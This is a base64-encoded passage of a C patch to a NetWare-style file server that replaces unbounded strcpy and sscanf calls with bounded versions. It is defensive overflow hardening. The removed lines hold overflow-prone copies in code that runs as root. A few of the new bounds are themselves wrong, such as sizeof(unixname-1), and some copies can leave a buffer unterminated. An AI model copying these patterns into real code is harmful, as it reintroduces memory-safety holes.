    ICAgICAgICB1aW50OCAqcHA9dW5peG5hbWUrdi0+dW5peG5hbWxlbjsKICAgICAgICAgIGludCAg
    IG9mZnNldCAgPSBwcHAgLSBud3BhdGgtPnBhdGg7CiAgICAgICAgICBpbnQgICBwYXRobGVuID0g
    c3RybGVuKG53cGF0aC0+cGF0aCk7CiAgICAgICAgICBpbnQgICBmbmxlbiAgID0gc3RybGVuKG53
    cGF0aC0+Zm4pOwogICAgICAgICAgbWVtY3B5KHVuaXhuYW1lLCB2LT51bml4bmFtZSwgdi0+dW5p
    eG5hbWxlbik7Ci0gICAgICAgICBzdHJjcHkocHAsIG53cGF0aC0+cGF0aCk7CisgICAgICAgICBz
    dHJuY3B5KHBwLCBud3BhdGgtPnBhdGgsIHNpemVvZih1bml4bmFtZSktdi0+dW5peG5hbWxlbi0x
    KTsKICAgICAgICAgIGlmIChmbmxlbikKLSAgICAgICAgICAgc3RyY3B5KHBwK3BhdGhsZW4sIG53
    cGF0aC0+Zm4pOworICAgICAgICAgICBzdHJuY3B5KHBwK3BhdGhsZW4sIG53cGF0aC0+Zm4sIHNp
    emVvZih1bml4bmFtZSktdi0+dW5peG5hbWxlbi1wYXRobGVuLTEpOwogICAgICAgICAgZG9zMnVu
    aXhjaGFyc2V0KHBwKTsKICAgICAgICAgIHBwICAgICAgKz0gb2Zmc2V0OwogICAgICAgICAgcGF0
    aGxlbiAtPSBvZmZzZXQ7CiAgICAgICAgICBtYW5nbGVfZG9zX25hbWUodiwgdW5peG5hbWUsIHBw
    KTsKICAgICAgICAgIHVuaXgyZG9zY2hhcnNldChwcCk7CkBAIC0xMDYyLDExICsxMDY0LDExIEBA
    CiAgICBpZiAoIWNvbXBsZXRpdGlvbikgY29tcGxldGl0aW9uID0gYnVpbGRfZGlyX25hbWUobndw
    YXRoLCBzdGJ1ZmYsIGRpcmhhbmRsZSk7CiAgICByZXR1cm4oY29tcGxldGl0aW9uKTsKIH0KIAog
    aW50IGNvbm5fZ2V0X2Z1bGxfcGF0aChpbnQgZGlyaGFuZGxlLCB1aW50OCAqZGF0YSwgaW50IGxl
    biwKLSAgICAgICAgICAgICAgICAgICAgICAgdWludDggKmZ1bGxwYXRoKQorICAgICAgICAgICAg
    ICAgICAgICAgICB1aW50OCAqZnVsbHBhdGgsIGludCBsZW5uKQogLyogcmV0dXJucyBwYXRoIGlu
    IGZvcm0gVk9MVU1FOlBBVEggKi8KIHsKICAgTldfUEFUSCBud3BhdGg7CiAgIHN0cnVjdCBzdGF0
    IHN0YnVmZjsKICAgaW50IHJlc3VsdCA9IGJ1aWxkX3BhdGgoJm53cGF0aCwgZGF0YSwgbGVuLCAw
    KTsKQEAgLTEwNzcsMTEgKzEwNzksMTEgQEAKICAgICB1aW50OCAqcD0oKm53cGF0aC5wYXRoPT0n
    LycpID8gbndwYXRoLnBhdGgrMSA6IG53cGF0aC5wYXRoOwogICAgIGludCBsZW49c3ByaW50Zihm
    dWxscGF0aCwgIiVzOiVzIiwKICAgICAgICBud192b2x1bWVzW253cGF0aC52b2x1bWVdLnN5c25h
    bWUsIHApOwogICAgIGlmIChud3BhdGguZm5bMF0pIHsKICAgICAgIGlmICgqcCkgZnVsbHBhdGhb
    bGVuKytdPScvJzsKLSAgICAgIHN0cmNweShmdWxscGF0aCtsZW4sIG53cGF0aC5mbik7CisgICAg
    ICBzdHJuY3B5KGZ1bGxwYXRoK2xlbiwgbndwYXRoLmZuLCBsZW5uLWxlbi0xKTsKICAgICB9CiAg
    ICAgcmVzdWx0PWxlbitzdHJsZW4obndwYXRoLmZuKTsKICAgfQogICBYRFBSSU5URigoMSwgMCwg
    ImNvbm5fZ2V0X2Z1bGxfcGF0aDogcmVzdWx0PSVkLCgweCV4KSxgJXNgIiwgcmVzdWx0LCByZXN1
    bHQsIGZ1bGxwYXRoKSk7CiAgIHJldHVybihyZXN1bHQpOwpAQCAtMTEwMCwxMSArMTEwMiwxMSBA
    QAogICBpbnQgY29tcGxldGl0aW9uID0gYnVpbGRfcGF0aCgmbndwYXRoLCBkYXRhLCBsZW4sIDAp
    OwogICBpZiAoIWNvbXBsZXRpdGlvbikKICAgICAgY29tcGxldGl0aW9uID0gYnVpbGRfZGlyX25h
    bWUoJm53cGF0aCwgJnN0YnVmZiwgZGlyaGFuZGxlKTsKICAgaWYgKGNvbXBsZXRpdGlvbiA+IC0x
    KSB7CiAgICAgaWYgKHVuaXhuYW1lKQotICAgICAgc3RyY3B5KHVuaXhuYW1lLCBidWlsZF91bml4
    X25hbWUoJm53cGF0aCwgMCkpOworICAgICAgc3RybmNweSh1bml4bmFtZSwgYnVpbGRfdW5peF9u
    YW1lKCZud3BhdGgsIDApLCAyOTkpOwogICAgIGNvbXBsZXRpdGlvbj1ud3BhdGgudm9sdW1lOwog
    ICB9CiAgIFhEUFJJTlRGKCg1LCAwLCAiY29ubl9nZXRfa3BsX3VueG5hbWU6IGNvbXBsZXRpdGlv
    bj0weCV4IiwgY29tcGxldGl0aW9uKSk7CiAgIHJldHVybihjb21wbGV0aXRpb24pOwogfQpAQCAt
    MTIwMywxMSArMTIwNSwxMSBAQAogfQogCiBzdGF0aWMgaW50IGRvX2RlbGV0ZV9maWxlKE5XX1BB
    VEggKm53cGF0aCwgRlVOQ19TRUFSQ0ggKmZzKQogewogICBjaGFyICAgICAgICAgICB1bm5hbWVb
    MjU2XTsKLSAgc3RyY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKG53cGF0aCwgMCkpOworICBz
    dHJuY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKG53cGF0aCwgMCksIHNpemVvZih1bm5hbWUp
    LTEpOwogICBYRFBSSU5URigoNSwwLCJERUxFVEUgRklMRSB1bm5hbWU6JXM6IiwgdW5uYW1lKSk7
    CiAgIHJldHVybihud191bmxpbmtfbm9kZShud3BhdGgtPnZvbHVtZSwgdW5uYW1lLCAmKGZzLT5z
    dGF0YikpKTsKIH0KIAogaW50IG53X2RlbGV0ZV9maWxlcyhpbnQgZGlyX2hhbmRsZSwgaW50IHNl
    YXJjaGF0dHJpYiwgdWludDggKmRhdGEsIGludCBsZW4pCkBAIC0xMjI4LDExICsxMjMwLDExIEBA
    CiAgIGNoYXIgdW5uYW1lWzI1Nl07CiAgIGludCAgcmVzdWx0PTA7CiAgIE5XX0ZJTEVfSU5GTyAq
    Zj0oTldfRklMRV9JTkZPKilmcy0+dWJ1ZjsKICAgaW50IHZvbG9wdGlvbnMgPSBnZXRfdm9sdW1l
    X29wdGlvbnMobndwYXRoLT52b2x1bWUpOwogICBzdHJ1Y3Qgc3RhdCBzdGF0YjsKLSAgc3RyY3B5
    KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKG53cGF0aCwgMCkpOworICBzdHJuY3B5KHVubmFtZSwg
    YnVpbGRfdW5peF9uYW1lKG53cGF0aCwgMCksIHNpemVvZih1bm5hbWUpLTEpOwogICBpZiAoIXN0
    YXQodW5uYW1lLCAmc3RhdGIpKSB7CiAgICAgaWYgKFNfSVNGSUZPKHN0YXRiLnN0X21vZGUpIHx8
    ICh2b2xvcHRpb25zJlZPTF9PUFRJT05fSVNfUElQRSkpCiAgICAgICByZXR1cm4oMCk7IC8qIGRv
    IG5vdGhpbmcgYnV0IHJlcG9ydCBPSyAqLwogICAgIGlmICh0cnVfZWZmX3JpZ2h0c19leGlzdHMo
    bndwYXRoLT52b2x1bWUsIHVubmFtZSwgJnN0YXRiLCBUUlVTVEVFX00pKQogICAgICAgcmVzdWx0
    PS0weDhjOyAgLyogbm8gbW9kaWZ5IHJpZ2h0cyAqLwpAQCAtMTMxMywxMSArMTMxNSwxMSBAQAog
    ICBpZiAobndwYXRoLmZuWzBdICE9ICcuJykgeyAvKiBGaWxlcyB3aXRoIC4gYXQgdGhlIGJlZ2lu
    bmluZyBhcmUgbm90IG9rICovCiAgICAgY29tcGxldGl0aW9uID0gYnVpbGRfZGlyX25hbWUoJm53
    cGF0aCwgJnN0YnVmZiwgZGlyX2hhbmRsZSk7CiAgIH0KICAgaWYgKGNvbXBsZXRpdGlvbiA8IDAp
    IHJldHVybihjb21wbGV0aXRpb24pOwogICB2b2xvcHRpb25zPWdldF92b2x1bWVfb3B0aW9ucyhu
    d3BhdGgudm9sdW1lKTsKLSAgc3RyY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgs
    IDIpKTsKKyAgc3RybmNweSh1bm5hbWUsIGJ1aWxkX3VuaXhfbmFtZSgmbndwYXRoLCAyKSwgc2l6
    ZW9mKHVubmFtZSktMSk7CiAgIFhEUFJJTlRGKCg1LDAsInNldCBmaWxlIGF0dHJpYiAweCV4LCB1
    bm5hbWU6JXM6IiwgbmV3YXR0cmliLCAgdW5uYW1lKSk7CiAKICAgaWYgKCFzX3N0YXQodW5uYW1l
    LCAmc3RidWZmLCAmc3RiKSl7CiAgICAgaW50IHJlc3VsdCA9IHNldF9ud19hdHRyaWJfYnl0ZShu
    d3BhdGgudm9sdW1lLCB1bm5hbWUsICZzdGJ1ZmYsIG5ld2F0dHJpYik7CiAgICAgcmV0dXJuKCAo
    cmVzdWx0ICE9IDApID8gLTB4OGMgOiAwKTsgIC8qIG5vIG1vZGlmeSByaWdodHMgKi8KQEAgLTEz
    NzksMTEgKzEzODEsMTEgQEAKIC8qIG1vZGUgJiAweDggPT0gaWdub3JlIHJpZ2h0cywgdHJ5IHRv
    IG9wZW4gYXMgcm9vdCAqLwogewogICBzdHJ1Y3Qgc3RhdCBzdGI7CiAgIHVpbnQ4IHBhdGhbMjYw
    XTsKICAgdWludDggKnA9cGF0aCtzdHJsZW4odW5uYW1lKTsKLSAgc3RyY3B5KHBhdGgsIHVubmFt
    ZSk7CisgIHN0cm5jcHkocGF0aCwgdW5uYW1lLCBzaXplb2YocGF0aCkpOwogICB3aGlsZSAocCA+
    IHBhdGggJiYgKnAgIT0gJy8nKSAtLXA7CiAgIGlmIChwID4gcGF0aCkgewogICAgICpwPSdcMCc7
    CiAgICAgaWYgKHN0YXQocGF0aCwgJnN0YikpIHJldHVybigtMHg5Yyk7CiAgIH0gZWxzZSBpZiAo
    KnA9PScvJykgewpAQCAtMTQ4OCwxMSArMTQ5MCwxMSBAQAogICBzdHJ1Y3Qgc3RhdCBzdGJ1ZmY7
    CiAgIGludCBjb21wbGV0aXRpb24gPSBjb25uX2dldF9rcGxfcGF0aCgmbndwYXRoLCAmc3RidWZm
    LAogICAgICAgICAgICAgICAgICAgICBkaXJfaGFuZGxlLCBkYXRhLCBsZW4sIChtb2RlKSA/IDAg
    OiAxICk7CiAgIGlmIChjb21wbGV0aXRpb24gPiAtMSkgewogICAgIGNoYXIgdW5uYW1lWzI1Nl07
    Ci0gICAgc3RyY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDIpKTsKKyAgICBz
    dHJuY3B5KHVubmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDIpLCBzaXplb2YodW5uYW1l
    KS0xKTsKICAgICBpZiAobW9kZSkgewogICAgICAgY29tcGxldGl0aW9uPW53X2NyZWF0X25vZGUo
    bndwYXRoLnZvbHVtZSwgdW5uYW1lLCAxKTsKICAgICB9IGVsc2UgeyAvKiBybWRpciAqLwogICAg
    ICAgaWYgKCFzdGF0KHVubmFtZSwgJnN0YnVmZikpCiAgICAgICAgIGNvbXBsZXRpdGlvbj1ud191
    bmxpbmtfbm9kZShud3BhdGgudm9sdW1lLCB1bm5hbWUsICZzdGJ1ZmYpOwpAQCAtMTUxNCwyNyAr
    MTUxNiwyNyBAQAogICB6bGVuPWFwcGx5X3dpbGRjYXJkcyhxLCBxbGVuLCB6LCB6bGVuKTsKICAg
    Y29tcGxldGl0aW9uPWNvbm5fZ2V0X2twbF9wYXRoKCZxdWVsbHBhdGgsICZxc3RidWZmLCBxZGly
    aGFuZGxlLCBxLCBxbGVuLCAwKTsKIAogICBpZiAoY29tcGxldGl0aW9uID4gLTEpIHsKICAgICBj
    aGFyIHFmblsyNTZdOwotICAgIHN0cmNweShxZm4sIGJ1aWxkX3VuaXhfbmFtZSgmcXVlbGxwYXRo
    LDApKTsKKyAgICBzdHJuY3B5KHFmbiwgYnVpbGRfdW5peF9uYW1lKCZxdWVsbHBhdGgsMCksIHNp
    emVvZihxZm4pLTEpOwogICAgIGNvbXBsZXRpdGlvbj1jb25uX2dldF9rcGxfcGF0aCgmemllbHBh
    dGgsICZ6c3RidWZmLCB6ZGlyaGFuZGxlLCB6LCB6bGVuLCAwKTsKICAgICBpZiAoY29tcGxldGl0
    aW9uID4gLTEpIHsKICAgICAgIGNoYXIgenBhdGhbMjU2XTsKICAgICAgIGNvbXBsZXRpdGlvbj0w
    OwotICAgICAgc3RyY3B5KHpwYXRoLCBidWlsZF91bml4X25hbWUoJnppZWxwYXRoLCAxKSk7Cisg
    ICAgICBzdHJuY3B5KHpwYXRoLCBidWlsZF91bml4X25hbWUoJnppZWxwYXRoLCAxKSwgc2l6ZW9m
    KHpwYXRoKS0xKTsKICAgICAgIGlmIChzdGF0KHFmbiwgJnFzdGJ1ZmYpIHx8IAogICAgICAgICB0
    cnVfZWZmX3JpZ2h0c19leGlzdHMocXVlbGxwYXRoLnZvbHVtZSwgcWZuLCAmcXN0YnVmZiwgCiAg
    ICAgICAgICAgIFRSVVNURUVfV3xUUlVTVEVFX018VFJVU1RFRV9SKSkKICAgICAgICAgICBjb21w
    bGV0aXRpb249LTB4OGI7CiAgICAgICBlbHNlIGlmICh0cnVfZWZmX3JpZ2h0c19leGlzdHMoemll
    bHBhdGgudm9sdW1lLCB6cGF0aCwgJnpzdGJ1ZmYsIAogICAgICAgICAgICBUUlVTVEVFX1cpKQog
    ICAgICAgICBjb21wbGV0aXRpb249LTB4OGI7CiAgICAgfQogICAgIGlmICghY29tcGxldGl0aW9u
    KXsKICAgICAgIGNoYXIgdW56aWVsWzI1Nl07Ci0gICAgICBzdHJjcHkodW56aWVsLCBidWlsZF91
    bml4X25hbWUoJnppZWxwYXRoLDApKTsKKyAgICAgIHN0cm5jcHkodW56aWVsLCBidWlsZF91bml4
    X25hbWUoJnppZWxwYXRoLDApLCBzaXplb2YodW56aWVsKS0xKTsKICAgICAgIAogICAgICAgc2V0
    ZXVpZCgwKTsKICAgICAgIGlmIChlbnRyeThfZmxhZ3MgJiAweDQpICAvKiBuZXc6IDIwLU5vdi05
    NiAqLwogICAgICAgICBjb21wbGV0aXRpb24gPSB1bnhfbXZmaWxlX29yX2RpcihxZm4sIHVuemll
    bCk7CiAgICAgICBlbHNlCkBAIC0xNTYzLDExICsxNTY1LDExIEBACiAgIGlmIChjb21wbGV0aXRp
    b24gPiAtMSl7CiAgICAgY2hhciBxZm5bMjU2XTsKICAgICBjaGFyIHpwYXRoWzI1Nl07CiAgICAg
    c3RydWN0IHN0YXQgenN0YnVmZjsKICAgICBjb21wbGV0aXRpb24gPSAwOwotICAgIHN0cmNweShx
    Zm4sIGJ1aWxkX3VuaXhfbmFtZSgmcXVlbGxwYXRoLDApKTsKKyAgICBzdHJuY3B5KHFmbiwgYnVp
    bGRfdW5peF9uYW1lKCZxdWVsbHBhdGgsMCksIHNpemVvZihxZm4pLTEpOwogICAgIG1lbWNweSgm
    emllbHBhdGgsICZxdWVsbHBhdGgsIHNpemVvZihOV19QQVRIKSk7CiAgICAgc3RybWF4Y3B5KHpp
    ZWxwYXRoLmZuLCB6LCB6bGVuKTsKICAgICAKICAgICAvKiBwYXRjaCBmcm9tIFN2ZW4gTm9yaW5k
    ZXIgPHNub3JpbmRlckBzZ2Vucy5lcmljc3Nvbi5zZT4gOjA5LU5vdi05NiAqLwogICAgIGlmIChn
    ZXRfdm9sdW1lX29wdGlvbnMoemllbHBhdGgudm9sdW1lKSAmIFZPTF9PUFRJT05fRE9XTlNISUZU
    KQpAQCAtMTU4MywxMSArMTU4NSwxMSBAQAogICAgICAqIDB4MCwweGQsMHhmLDB4MCwweDcsJ1Qn
    LCdNJywnUCcsJzonLCdcJywnSScsJ0knLDB4MiwnSycsJ0snCiAgICAgICogbm8gZGlyaGFuZGxl
    LCBxcGF0aCA9IGZ1bGxwYXRoLCB6cGF0aCA9IG9ubHkgbmFtZQogICAgICAqLwogI2VuZGlmCiAg
    ICAgCi0gICAgc3RyY3B5KHpwYXRoLCBidWlsZF91bml4X25hbWUoJnppZWxwYXRoLCAxKSk7Cisg
    ICAgc3RybmNweSh6cGF0aCwgYnVpbGRfdW5peF9uYW1lKCZ6aWVscGF0aCwgMSksIHNpemVvZih6
    cGF0aCktMSk7CiAgICAgaWYgKHN0YXQocWZuLCAmcXN0YnVmZikgfHwgCiAgICAgICAgIHRydV9l
    ZmZfcmlnaHRzX2V4aXN0cyhxdWVsbHBhdGgudm9sdW1lLCBxZm4sICZxc3RidWZmLCAKICAgICAg
    ICAgICAgVFJVU1RFRV9XfFRSVVNURUVfTXxUUlVTVEVFX1IpKQogICAgICAgY29tcGxldGl0aW9u
    PS0weDhiOwogICAgIGVsc2UgaWYgKHN0YXQoenBhdGgsICZ6c3RidWZmKSB8fApAQCAtMTU5Niwx
    MSArMTU5OCwxMSBAQAogICAgICAgY29tcGxldGl0aW9uPS0weDhiOwogICAgIAogICAgIGlmIChj
    b21wbGV0aXRpb24gPiAtMSl7CiAgICAgICBpbnQgcmVzdWx0OwogICAgICAgY2hhciB1bnppZWxb
    MjU2XTsKLSAgICAgIHN0cmNweSh1bnppZWwsICAgYnVpbGRfdW5peF9uYW1lKCZ6aWVscGF0aCwg
    IDApKTsKKyAgICAgIHN0cm5jcHkodW56aWVsLCAgIGJ1aWxkX3VuaXhfbmFtZSgmemllbHBhdGgs
    ICAwKSwgc2l6ZW9mKHVuemllbCktMSk7CiAgICAgICAKICAgICAgIHNldGV1aWQoMCk7CiAgICAg
    ICByZXN1bHQgPSB1bnhfbXZkaXIoKHVpbnQ4ICopcWZuLCAodWludDggKil1bnppZWwpOwogICAg
    ICAgcmVzZXRldWlkKCk7CiAgICAgICAKQEAgLTE2ODQsMTEgKzE2ODYsMTEgQEAKICAgICBpbnQg
    ICAgICAgICAgICB3aGF0OwogICAgIGludCBrICAgICAgICA9IE1BWF9OV19ESVJTOwogICAgIE5X
    X0RJUiAqZCAgICA9ICYoZGlyc1swXSk7CiAgICAgaW50IG5hbXNwYWNlX21heF9iYXNlaD0wOwog
    ICAgIGludCBuYW1zcGFjZV9tYXhfc2VhcmNoaD0wOwotICAgIHN0cmNweSgoY2hhciopbndsb2dp
    bi5wYXRoLCAoY2hhciopbG9naW4pOworICAgIHN0cm5jcHkoKGNoYXIqKW53bG9naW4ucGF0aCwg
    KGNoYXIqKWxvZ2luLCBzaXplb2Yobndsb2dpbi5wYXRoKS0xKTsKICAgICBud2xvZ2luLmZuWzBd
    ICAgPSAnXDAnOwogICAgIG53bG9naW4udm9sdW1lICA9IDA7CiAKICAgICB3aGlsZSAoay0tKSB7
    CiAgICAgICBpZiAoY29ubmVjdF9pc19pbml0KQpAQCAtMTcxOSwxMSArMTcyMSwxMSBAQAogICAg
    ICAgICAgIHNlcnZlcl92ZXJzaW9uX2ZsYWdzPTA7CiAgICAgICB9IGVsc2UgaWYgKHdoYXQgPT0g
    OCkgeyAvKiBlbnRyeThfZmxhZ3MgKi8KICAgICAgICAgZW50cnk4X2ZsYWdzID0gaGV4dG9pKChj
    aGFyKilidWZmKTsKICAgICAgIH0gZWxzZSBpZiAod2hhdCA9PSA5KSB7IC8qIHVtb2RlICovCiAg
    ICAgICAgIHVpbnQ4IGJ1ZjFbMzAwXSwgYnVmMlszMDBdOwotICAgICAgICBpZiAoMiA9PSBzc2Nh
    bmYoKGNoYXIqKWJ1ZmYsICIlcyAlcyIsIGJ1ZjEsIGJ1ZjIpKSB7CisgICAgICAgIGlmICgyID09
    IHNzY2FuZigoY2hhciopYnVmZiwgIiUzMDBzICUzMDBzIiwgYnVmMSwgYnVmMikpIHsKICAgICAg
    ICAgICBkZWZhdWx0X3Vtb2RlX2RpciAgPSBvY3R0b2koYnVmMSk7CiAgICAgICAgICAgZGVmYXVs
    dF91bW9kZV9maWxlID0gb2N0dG9pKGJ1ZjIpOwogICAgICAgICB9CiAgICAgICB9IGVsc2UgaWYg
    KHdoYXQgPT0gMTApIHsgLyogR0lEICovCiAgICAgICAgIGRlZmF1bHRfZ2lkID0gYXRvaSgoY2hh
    ciopYnVmZik7CkBAIC0xODY4LDExICsxODcwLDExIEBACiAgICAgICAgICAgICAgICAgICAgICAg
    ICAmc2VhcmNoc2VxdWVuY2UsCiAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hfYXR0cmli
    LAogICAgICAgICAgICAgICAgICAgICAgICAgJnN0YnVmZik7CiAgICAgICBpZiAoIWNvbXBsZXRp
    dGlvbikgewogICAgICAgICAgY2hhciB1bml4bmFtZVszMDBdOwotICAgICAgICAgc3RyY3B5KHVu
    aXhuYW1lLCBidWlsZF91bml4X25hbWUoJm53cGF0aCwgMCkpOworICAgICAgICAgc3RybmNweSh1
    bml4bmFtZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApLCBzaXplb2YodW5peG5hbWUpLTEp
    OwogICAgICAgICAgaWYgKCBTX0lTRElSKHN0YnVmZi5zdF9tb2RlKSApIHsKICAgICAgICAgICAg
    Z2V0X2Rpcl9hdHRyaWIoKE5XX0RJUl9JTkZPKilpbmZvLCB1bml4bmFtZSwgJnN0YnVmZiwKICAg
    ICAgICAgICAgICAgICAgICAmbndwYXRoKTsKICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAg
    IGdldF9maWxlX2F0dHJpYigoTldfRklMRV9JTkZPKilpbmZvLCB1bml4bmFtZSwgJnN0YnVmZiwK
    QEAgLTE5MjUsMTEgKzE5MjcsMTEgQEAKICAgICAgaWYgKGdldF9kaF9lbnRyeShkaCwKICAgICAg
    ICAgICAgICAgICAgICAgICBud3BhdGguZm4sCiAgICAgICAgICAgICAgICAgICAgICAgJnNlYXJj
    aHNlcXVlbmNlLAogICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaF9hdHRyaWIsCiAgICAgICAg
    ICAgICAgICAgICAgICAgdW5peG5hbWUsCi0gICAgICAgICAgICAgICAgICAgICAgJnN0YnVmZikp
    eworICAgICAgICAgICAgICAgICAgICAgICZzdGJ1ZmYsIHNpemVvZihud3BhdGguZm4pKSl7CiAK
    ICAgICAgICBpZiAoIFNfSVNESVIoc3RidWZmLnN0X21vZGUpICkgewogICAgICAgICAgZ2V0X2Rp
    cl9hdHRyaWIoKE5XX0RJUl9JTkZPKilpbmZvLCB1bml4bmFtZSwgICZzdGJ1ZmYsCiAgICAgICAg
    ICAgICAgICZud3BhdGgpOwogICAgICAgIH0gZWxzZSB7CkBAIC0xOTU1LDExICsxOTU3LDExIEBA
    CiAgICBOV19QQVRIIG53cGF0aDsKICAgIHN0cnVjdCBzdGF0IHN0YnVmZjsKICAgIGludCBpbm9k
    ZT1jb25uX2dldF9rcGxfcGF0aCgmbndwYXRoLCAmc3RidWZmLCBkaXJfaGFuZGxlLCBkYXRhLCBs
    ZW4sIDEpOwogICAgaWYgKGlub2RlID4gLTEpIHsKICAgICAgdWludDggICB1bml4bmFtZVsyNTdd
    OwotICAgICBzdHJjcHkodW5peG5hbWUsIGJ1aWxkX3VuaXhfbmFtZSgmbndwYXRoLCAwKSk7Cisg
    ICAgIHN0cm5jcHkodW5peG5hbWUsIGJ1aWxkX3VuaXhfbmFtZSgmbndwYXRoLCAwKSwgc2l6ZW9m
    KHVuaXhuYW1lLTEpKTsKICAgICAgaW5vZGUgPSBpbnNlcnRfbmV3X2RpcigmbndwYXRoLCBzdGJ1
    ZmYuc3RfZGV2LCBzdGJ1ZmYuc3RfaW5vLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZHJp
    dmVsZXR0ZXIsIGlzX3RlbXBoYW5kbGUsIHRhc2spOwogICAgICAqZWZmX3JpZ2h0cz10cnVfZ2V0
    X2VmZl9yaWdodHMobndwYXRoLnZvbHVtZSwgdW5peG5hbWUsICZzdGJ1ZmYpOwogICAgfQogICAg
    WERQUklOVEYoKDIsMCwiQWxsb2NhdGUgJXNoYW5kbGU6JXMsIFFoYW5kbGU9JWQsIGRyaXZlPSVk
    LCBUYXNrPSVkLCByZXN1bHQ9MHgleCIsCkBAIC0yMDk0LDExICsyMDk2LDExIEBACiAgIHN0cnVj
    dCBzdGF0ICAgc3RidWZmOwogICBOV19QQVRIICAgICAgIG53cGF0aDsKICAgaW50IGNvbXBsZXRp
    dGlvbiA9IGNvbm5fZ2V0X2twbF9wYXRoKCZud3BhdGgsICZzdGJ1ZmYsIAogICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgIGRpcl9oYW5kbGUsIGRhdGEsIGxlbiwgMCk7CiAgIGlmIChjb21w
    bGV0aXRpb24gPCAwKSByZXR1cm4oY29tcGxldGl0aW9uKTsKLSAgc3RyY3B5KHVubmFtZSwgYnVp
    bGRfdW5peF9uYW1lKCZud3BhdGgsIDApKTsKKyAgc3RybmNweSh1bm5hbWUsIGJ1aWxkX3VuaXhf
    bmFtZSgmbndwYXRoLCAwKSwgc2l6ZW9mKHVubmFtZSktMSk7CiAgIGlmIChzX3N0YXQodW5uYW1l
    LCAmc3RidWZmLCBOVUxMKSB8fAogICAgICghbW9kdXMgJiYgIVNfSVNESVIoc3RidWZmLnN0X21v
    ZGUpKSApIHsKICAgICBjb21wbGV0aXRpb24gPSAtMHg5YzsKICAgfSBlbHNlIAogICAgIGNvbXBs
    ZXRpdGlvbj10cnVfZ2V0X2VmZl9yaWdodHMobndwYXRoLnZvbHVtZSwgdW5uYW1lLCAmc3RidWZm
    KTsKQEAgLTIxMTcsMTEgKzIxMTksMTEgQEAKICAgTldfUEFUSCBud3BhdGg7CiAgIHN0cnVjdCBz
    dGF0IHN0YnVmZjsKICAgaW50IGNvbXBsZXRpdGlvbiA9IGNvbm5fZ2V0X2twbF9wYXRoKCZud3Bh
    dGgsICZzdGJ1ZmYsIGRpcl9oYW5kbGUsIGRhdGEsIGxlbiwgMCk7CiAgIGlmIChjb21wbGV0aXRp
    b24gPiAtMSkgewogICAgICBjaGFyIHVuaXhuYW1lWzMwMF07Ci0gICAgIHN0cmNweSh1bml4bmFt
    ZSwgYnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApKTsKKyAgICAgc3RybmNweSh1bml4bmFtZSwg
    YnVpbGRfdW5peF9uYW1lKCZud3BhdGgsIDApLCBzaXplb2YodW5peG5hbWUpLTEpOwogICAgICBj
    b21wbGV0aXRpb249ZmlsZV9jcmVhdF9vcGVuKG53cGF0aC52b2x1bWUsICh1aW50OCopdW5peG5h
    bWUsCiAgICAgICAgICAgICAgICAgICAgICAgJnN0YnVmZiwgYXR0cmliLCBhY2Nlc3MsIGNyZWF0
    bW9kZSwgdGFzayk7CiAKICAgICAgaWYgKGNvbXBsZXRpdGlvbiA+IC0xKQogICAgICAgIGdldF9m
    aWxlX2F0dHJpYihpbmZvLCB1bml4bmFtZSwgJnN0YnVmZiwgJm53cGF0aCk7CkBAIC0yMTUyLDIy
    ICsyMTU0LDIyIEBACiAgICAgICBkb3duX2ZuKHdpbGQpOwogICAgIH0gZWxzZSB7CiAgICAgICB1
    cF9mbih3aWxkKTsKICAgICB9CiAKLSAgICBzdHJjcHkoKGNoYXIqKWRpcm5hbWUsIChjaGFyKil3
    aWxkKTsKKyAgICBzdHJuY3B5KChjaGFyKilkaXJuYW1lLCAoY2hhciopd2lsZCwgc2l6ZW9mKGRp
    cm5hbWUpLTEpOwogICAgIFhEUFJJTlRGKCg1LDAsIlNDQU5fRElSOiByaWdodHMgPSAweCV4LCBz
    dWJuciA9ICVkIiwKICAgICAgICAgICAgICAgICAoaW50KXJpZ2h0cywgKGludClHRVRfQkUxNihz
    dWJucikpKTsKIAogICAgIGlmICgqZGlybmFtZSkgewogICAgICAgY2hhciB1bml4bmFtZVszMDBd
    OwogICAgICAgd2hpbGUgKCBnZXRfZGhfZW50cnkoIGRoLAogICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgIGRpcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJnNlYXJjaHNlcXVl
    bmNlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTAsCiAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgdW5peG5hbWUsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgJnN0YnVm
    ZikgKSB7CisgICAgICAgICAgICAgICAgICAgICAgICAgICAgJnN0YnVmZiwgc2l6ZW9mKGRpcm5h
    bWUpKSApIHsKIAogICAgICAgICBYRFBSSU5URigoNSwwLCJTQ0FOX0RJUjogdm9uICVzLCBmb3Vu
    ZCAlczoiLCBkaC0+dW5peG5hbWUsIGRpcm5hbWUpKTsKICAgICAgICAgaWYgKCsrYWt0c2VxdWVu
    Y2UgPT0gZGlyc2VxdWVuY2UpIHsgLyogYWN0dWFsIGZvdW5kICovCiAgICAgICAgICAgVTE2X1RP
    X0JFMTYoYWt0c2VxdWVuY2UsIHN1Ym5yKTsKICAgICAgICAgICB1cF9mbihkaXJuYW1lKTsKQEAg
    LTIxNzUsMTEgKzIxNzcsMTEgQEAKICAgICAgICAgICBVMzJfVE9fQkUzMihnZXRfZmlsZV9vd25l
    cigmc3RidWZmKSwgIG93bmVyKTsKICAgICAgICAgICB1bl9kYXRlXzJfbncoc3RidWZmLnN0X210
    aW1lLCBzdWJkYXRldGltZSwgICAxKTsKICAgICAgICAgICB1bl90aW1lXzJfbncoc3RidWZmLnN0
